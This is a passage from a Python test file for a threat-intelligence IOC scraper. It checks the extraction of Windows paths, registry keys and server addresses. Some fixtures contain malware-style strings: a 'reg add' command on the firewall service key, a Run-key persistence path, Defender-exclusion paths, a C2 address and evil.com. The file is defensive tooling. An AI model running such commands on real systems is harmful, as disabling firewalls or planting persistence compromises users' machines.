        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 2
        values = {ioc.ioc_value for ioc in path_iocs}
        assert r"C:\Windows\Temp" in values
        assert r"C:\Users\Public" in values
        assert not any("\\\\" in v for v in values), f"backslashes not normalised: {values}"

    def test_scrape_windows_path_with_wildcard(self):
        """Malware commonly uses wildcard paths like the Defender-exclusion
        pattern below; `*` is a valid path component and must be preserved."""
        text = "'C:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Users\*\AppData\Local\Temp" == ioc.ioc_value for ioc in path_iocs)

    # --- Behaviour-pinning regression tests -----------------------------------
    # These lock in the trade-offs of the two-tier component grammar (strict
    # first char, permissive body in delimited segments, strict final segment,
    # colon excluded from bodies). Every one of them was a real-or-potential
    # regression while the regex was being rewritten.

    def test_path_with_internal_space(self):
        """`Program Files` is the canonical reason segment bodies must allow
        whitespace. The old regex's permissive body class was correct on this
        case; the new grammar must preserve it."""
        text = r"Path: C:\Program Files\Microsoft\app.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_with_internal_space_in_escaped_form(self):
        """The combination of source-escaping and internal whitespace is the
        case the old regex got wrong (it required single backslashes) and the
        first iteration of the new regex got wrong (it forbade whitespace
        everywhere). Both must work now."""
        text = "'C:\\\\Program Files (x86)\\\\Microsoft\\\\app.exe'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files (x86)\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_stops_at_whitespace_when_no_separator_follows(self):
        """The strict final-segment class prevents prose-slurping. Critical
        because segment bodies allow whitespace — without this, every path
        followed by free text would gobble the rest of the line."""
        text = r"see c:\users\admin and other stuff"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"c:\users\admin" for ioc in path_iocs)
        assert not any("stuff" in ioc.ioc_value for ioc in path_iocs)

    def test_two_drives_separated_by_prose_match_independently(self):
        """`From C:\\one to D:\\two` must yield two IOCs, not one slurp.
        Pinned because excluding `:` from segment bodies is what enables this
        — without that exclusion, ` to D:` would be valid body of segment 1."""
        text = r"From C:\one to D:\two"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\one" in values
        assert r"D:\two" in values

    def test_path_lowercase_drive(self):
        text = r"Backup at d:\backup\db.sql"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"d:\backup\db.sql" for ioc in path_iocs)

    def test_path_just_root(self):
        """Bare `C:\\` (the root of a drive) must match — Defender exclusion
        lists ship it as a literal entry."""
        text = "['C:\\\\', 'C:\\\\Windows']"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert "C:\\" in values
        assert r"C:\Windows" in values

    def test_drive_letter_alone_does_not_match(self):
        """`D:` with no separator following is not a path."""
        text = "Drive D: is mounted"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []

    def test_trailing_punctuation_is_stripped(self):
        """`See C:\\Path\\file.txt.` — the final period is sentence
        punctuation, not part of the path. `rstrip('.,;:')` strips it."""
        text = r"See C:\Path\file.txt, and also C:\Other\file.exe."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\Path\file.txt" in values
        assert r"C:\Other\file.exe" in values


class TestIOCScraperRegistryKey:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_hklm_short_form(self):
        text = r"reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess /v EnableFirewall"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" in ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_hkey_long_form(self):
        text = r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" == ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_registry_source_escaped(self):
        """Same source-escaping concern as Windows paths."""
        text = "'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\DomainProfile'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" == ioc.ioc_value for ioc in reg_iocs)
        assert all("\\\\" not in ioc.ioc_value for ioc in reg_iocs)

    def test_bare_hive_not_extracted(self):
        """A bare hive mention with no path component should not match — too
        common in prose ('the HKLM hive') to be useful as an IOC."""
        text = "The HKLM hive contains system-wide settings; HKCU is per-user."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert reg_iocs == []

    def test_registry_not_classified_as_path(self):
        """HKLM\\... starts with letters not a drive-letter+colon, so the
        Windows path regex must not also match it."""
        text = r"HKLM\SYSTEM\CurrentControlSet\Services\Foo"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []


class TestIOCScraperServer:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_server(self):
        text = "Connect to 185.100.87.202:8080 for C2"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        server_iocs = [i for i in iocs if i.ioc_type == IOCType.SERVER]
        assert len(server_iocs) >= 1
        assert "185.100.87.202:8080" in server_iocs[0].ioc_value


class TestIOCScraperDedup:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_dedup_within_text(self):
        text = "https://evil.com https://evil.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) == 1

    def test_scrape_empty_text(self):
        iocs = list(self.scraper.scrape("", SourceType.STRING, "test"))
        assert len(iocs) == 0